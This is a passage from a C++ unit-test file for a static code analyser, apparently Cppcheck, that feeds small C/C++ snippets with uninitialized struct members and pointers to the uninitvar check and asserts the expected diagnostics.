0xF000) == 0xF000){}\\n\"\n \"}\\n\"\n \"void f(void) {\\n\"\n \" someType_t gVar;\\n\"\n \" bar(&gVar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (error) Uninitialized variable: &gVar [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"typedef struct\\n\"\n \"{\\n\"\n \" int flags[3];\\n\"\n \"} someType_t;\\n\"\n \"void f(void) {\\n\"\n \" someType_t gVar;\\n\"\n \" if(gVar.flags[1] == 42){}\\n\"\n \"}\");\n // TODO : find bugs for member arrays\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Uninitialized variable: gVar.flags\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #10293\n \" union {\\n\"\n \" struct hdr cm;\\n\"\n \" char control[123];\\n\"\n \" } u;\\n\"\n \" char *x = u.control;\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct pc_data {\\n\"\n \" struct {\\n\"\n \" char * strefa;\\n\"\n \" } wampiryzm;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" struct pc_data *pcdata;\\n\"\n \" if ( *pcdata->wampiryzm.strefa == '\\\\0' ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (error) Uninitialized variable: pcdata [uninitvar]\\n\", errout_str());\n\n // # 9293\n valueFlowUninit(\"struct S {\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct S s1;\\n\"\n \" int * x = &s1.x;\\n\"\n \" struct S s2 = {*x, 0};\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:20]: (error) Uninitialized variable: *x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct S s1;\\n\"\n \" struct S s2;\\n\"\n \" int * x = &s1.x;\\n\"\n \" s2.x = *x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (error) Uninitialized variable: *x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(bool * x) {\\n\"\n \" *x = false;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" bool b;\\n\"\n \" f(&b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(bool * x) {\\n\"\n \" if (x != nullptr)\\n\"\n \" x = 1;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" bool x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" bool b;\\n\"\n \" bool * x = &b;\\n\"\n \" if (x != nullptr)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A { bool b; };\"\n \"void f(A * x) {\\n\"\n \" x->b = false;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" A b;\\n\"\n \" f(&b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"std::string f() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << \\\"\\\";\\n\"\n \" return ostr.str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // #9281\n valueFlowUninit(\"struct s {\\n\"\n \" char a[20];\\n\"\n \"};\\n\"\n \"void c(struct s *sarg) {\\n\"\n \" sarg->a[0] = '\\\\0';\\n\"\n \"}\\n\"\n \"void b(struct s *sarg) {\\n\"\n \" c(sarg);\\n\"\n \"}\\n\"\n \"void a() {\\n\"\n \" struct s s1;\\n\"\n \" b(&s1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9290\n valueFlowUninit(\"struct A {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"double b() {\\n\"\n \" A * c;\\n\"\n \" c->x = 42;\\n\"\n \" return c->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: c [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"double b() {\\n\"\n \" A c;\\n\"\n \" c.x = 42;\\n\"\n \" return c.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"double d(A * e) {\\n\"\n \" e->x = 42;\\n\"\n \" return e->x;\\n\"\n \"}\\n\"\n \"double b() {\\n\"\n \" A c;\\n\"\n \" return d(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9302\n valueFlowUninit(\"struct VZ {\\n\"\n \" double typ;\\n\"\n \"};\\n\"\n \"void read() {\\n\"\n \" struct VZ vz;\\n\"\n \" struct VZ* pvz = &vz;\\n\"\n \" vz.typ = 42;\\n\"\n \" if (pvz->typ == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9305\n valueFlowUninit(\"struct kf {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"void set(kf* k) {\\n\"\n \" k->x = 0;\\n\"\n \"}\\n\"\n \"void cal() {\\n\"\n \" KF b;\\n\"\n \" KF* pb = &b;\\n\"\n \" set( pb);\\n\"\n \" if (pb->x)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9348\n valueFlowUninit(\"void f(int *a) {\\n\"\n \" int b = 0;\\n\"\n \" memcpy(a, &b, sizeof(b));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int i;\\n\"\n \" f(&i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9631\n valueFlowUninit(\"static void g(bool * result, int num, int num2, size_t * buflen) {\\n\"\n \" if (*result && *buflen >= 5) {}\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" size_t bytesCopied;\\n\"\n \" bool copied_all = true;\\n\"\n \" g(&copied_all, 5, 6, &bytesCopied);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24] -> [test.cpp:2:18]: (warning) Uninitialized variable: *buflen [uninitvar]\\n\", errout_str());\n\n // # 9953\n valueFlowUninit(\"uint32_t f(uint8_t *mem) {\\n\"\n \" uint32_t u32;\\n\"\n \" uint8_t *buf = (uint8_t *)(&u32);\\n\"\n \" buf[0] = mem[0];\\n\"\n \" return(*(uint32_t *)buf);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void valueFlowUninitStructMembers()\n {\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" if (ab.b == 2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB &ab) { a = ab.a; }\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB &ab) { a = ab.b; }\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:18] -> [test.cpp:2:49]: (warning) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:4:16]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab1;\\n\"\n \" AB ab2 = { ab1.a, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (error) Uninitialized variable: ab1.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" buf[ab.a] = 0;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:4:12]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = ab;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = *(&ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized variable: *(&ab).b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int x;\\n\"\n \" ab.a = (void*)&x;\\n\"\n \" dostuff(&ab,0);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\" // pass struct member by address\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" assign(&ab.a, 0);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\n \"struct Cstring { char *text; int size, alloc; };\\n\"\n \"int maybe();\\n\"\n \"void f() {\\n\"\n \" Cstring res;\\n\"\n \" if ( ! maybe() ) return;\\n\" // <- fp goes away if this is removed\n \" ( ((res).text = (void*)0), ((res).size = (res).alloc = 0) );\\n\" // <- fp goes away if parentheses are removed\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" ab.b = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n valueFlowUninit(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(ab.a, STR);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { unsigned char a[10]; };\\n\" // #8999 - cast\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy((char *)ab.a, STR);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(x, ab.a);\\n\"\n \"}\\n\",\n false);\n TODO_ASSERT_EQUALS(\"[test.c:4:16]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", \"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" dosomething(ab.a);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab = getAB();\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // #6769 - calling method that might assign struct members\n valueFlowUninit(\"struct AB { int a; int b; void set(); };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.set();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int get() const; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.get();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: ab [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; void dostuff() {} };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.dostuff();\\n\"\n \" x = ab;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n valueFlowUninit(\"struct AB { int a; struct { int b; int c; } s; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.s.b = 2;\\n\"\n \" ab.s.c = 3;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct conf {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void do_something(struct conf ant_conf);\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct conf c;\\n\"\n \" initdata(&c);\\n\"\n \" do_something(c);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct PIXEL {\\n\"\n \" union {\\n\"\n \" struct { unsigned char red,green,blue,alpha; };\\n\"\n \" unsigned int color;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned char f() {\\n\"\n \" struct PIXEL p1;\\n\"\n \" p1.color = 255;\\n\"\n \" return p1.red;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"int f() {\\n\"\n \" struct AB *ab;\\n\"\n \" for (i = 1; i < 10; i++) {\\n\"\n \" if (condition && (ab = getab()) != NULL) {\\n\"\n \" a = ab->a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"int f(int x) {\\n\"\n \" struct AB *ab;\\n\"\n \" if (x == 0) {\\n\"\n \" ab = getab();\\n\"\n \" }\\n\"\n \" if (x == 0 && (ab != NULL || ab->a == 0)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A { int *x; };\\n\" // declarationId is 0 for \"delete\"\n \"void foo(void *info, void*p);\\n\"\n \"void bar(void) {\\n\"\n \" struct A *delete = 0;\\n\"\n \" foo( info, NULL );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo(int x, const struct ABC *abc);\\n\"\n \"void bar(void) {\\n\"\n \" struct ABC abc;\\n\"\n \" foo(123, &abc);\\n\"\n \" return abc.b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: &abc [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo() {\\n\"\n \" struct ABC abc;\\n\"\n \" dostuff((uint32_t *)&abc.a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(void) {\\n\"\n \" struct tm t;\\n\"\n \" t.tm_year = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.b;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:5:15]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.a;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int a; int b; };\\n\" // #8299\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" s.a = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: s.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int a; int b; };\\n\" // #9810\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" return s.a ? 1 : 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: s.a [uninitvar]\\n\", errout_str());\n\n // checkIfForWhileHead\n valueFlowUninit(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.a == 0) { }\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.b == 0) { }\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:9:13]: (error) Uninitialized variable: fred.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Fred { int a; };\\n\"\n \"void f() {\\n\"\n \" struct Fred fred;\\n\"\n \" if (fred.a==1) {}\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"[test.c:4:14]: (error) Uninitialized variable: fred.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int n; int m; };\\n\"\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" for (s.n = 0; s.n <= 10; s.n++) { }\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void test2() {\\n\"\n \" struct { char type; } s_d;\\n\"\n \" if (foo(&s_d.type)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // for\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { clear(ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { ab.a = ab.a + 1; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { init(&ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // address of member\n valueFlowUninit(\"struct AB { int a[10]; int b; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" int *p = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Reference\n valueFlowUninit(\"struct A { int x; };\\n\"\n \"void foo() {\\n\"\n \" struct A a;\\n\"\n \" int& x = a.x;\\n\"\n \" x = 0;\\n\"\n \" return a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // non static data-member initialization\n valueFlowUninit(\"struct AB { int a=1; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \" int b = ab.b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n // STL class member\n valueFlowUninit(\"struct A {\\n\"\n \" std::map m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C++)\n valueFlowUninit(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C)\n valueFlowUninit(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"[test.c:7:11]: (error) Uninitialized variable: a.m [uninitvar]\\n\", errout_str());\n\n // Type with constructor\n valueFlowUninit(\"class C { C(); }\\n\"\n \"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" int t[1];\\n\"\n \"};\\n\"\n \"int f(const S* ps) {\\n\"\n \" return ps->t[0];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" s.t[0] = 1;\\n\"\n \" f(&s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" int t[1];\\n\"\n \" int u;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int f(const S* ps) {\\n\"\n \" return ps->t[0];\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" S s;\\n\"\n \" s.t[0] = 1;\\n\"\n \" f(&s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct X {\\n\"\n \" int a, b;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" X t;\\n\"\n \"};\\n\"\n \"int f(const S* ps) {\\n\"\n \" return ps->t.a;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" s.t.a = 1;\\n\"\n \" f(&s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"typedef struct { int a; int b; int c; } ABC;\\n\" // #5777\n \"void setabc(int x, const ABC* const abc) {\\n\"\n \" sum = abc->a + abc->b + abc->c;\\n\"\n \"}\\n\"\n \"void f(void) {\\n\"\n \" ABC abc;\\n\"\n \" abc.a = 1;\\n\"\n \" setabc(123, &abc);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:17] -> [test.cpp:3:25]: (warning) Uninitialized variable: abc->b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int* p; };\\n\" // #10463\n \"void f(S* in) {\\n\"\n \" S* s;\\n\"\n \" memcpy(in, s, sizeof(S));\\n\"\n \" s->p = NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: s [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #11321\n \" int a = 0;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s1;\\n\"\n \" s1.b = 1;\\n\"\n \" S s2 = s1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11460\n valueFlowUninit(\"struct B { int i; };\\n\"\n \" struct H {\\n\"\n \" void e() const;\\n\"\n \" static const B b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" H h;\\n\"\n \" h.e();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11597\n valueFlowUninit(\"void f(size_t f) {\\n\"\n \" struct {\\n\"\n \" int i;\\n\"\n \" enum { offset = 1062 };\\n\"\n \" } s;\\n\"\n \" if (f < s.offset + sizeof(s)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11776 - function call initialises struct array member\n valueFlowUninit(\"typedef struct {\\n\"\n \" int arr[1];\\n\"\n \" int count;\\n\"\n \"} arr_struct;\\n\"\n \"\\n\"\n \"void init(int *a, int b);\\n\"\n \"\\n\"\n \"void foo(arr_struct const *var);\\n\" // <- inconclusive if var->count is used\n \"\\n\"\n \"void uninitvar_FP7() {\\n\"\n \" arr_struct my_st;\\n\"\n \" init(my_st.arr, 12);\\n\" // <- assume that my_st.arr is written\n \" foo(&my_st);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"typedef struct {\\n\"\n \" int arr[1];\\n\"\n \" int count;\\n\"\n \"} arr_struct;\\n\"\n \"\\n\"\n \"void init(int *a, int b);\\n\"\n \"\\n\"\n \"void foo(arr_struct const *var) {\\n\"\n \" x = var->arr[0];\\n\"\n \"}\\n\"\n \"\\n\"\n \"void uninitvar_FP7() {\\n\"\n \" arr_struct my_st;\\n\"\n \" init(my_st.arr, 12);\\n\" // <- assume that my_st.arr is written\n \" foo(&my_st);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #12188\n \" int i;\\n\"\n \" struct T { int j; } t;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s;\\n\"\n \" ++s.i;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" s.i--;\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" S s;\\n\"\n \" s.i &= 3;\\n\"\n \"}\\n\"\n \"void k() {\\n\"\n \" S s;\\n\"\n \" if (++s.i < 3) {}\\n\"\n \"}\\n\"\n \"void m() {\\n\"\n \" S s;\\n\"\n \" ++s.t.j;\\n\"\n \"}\\n\"\n \"void n() {\\n\"\n \" S s;\\n\"\n \" if (s.t.j-- < 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:11:7]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:15:7]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:19:13]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:23:11]: (error) Uninitialized variable: s.t.j [uninitvar]\\n\"\n \"[test.cpp:27:13]: (error) Uninitialized variable: s.t.j [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #6933\n \"void f() {\\n\"\n \" int i;\\n\"\n \" S s(i);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int i;\\n\"\n \" 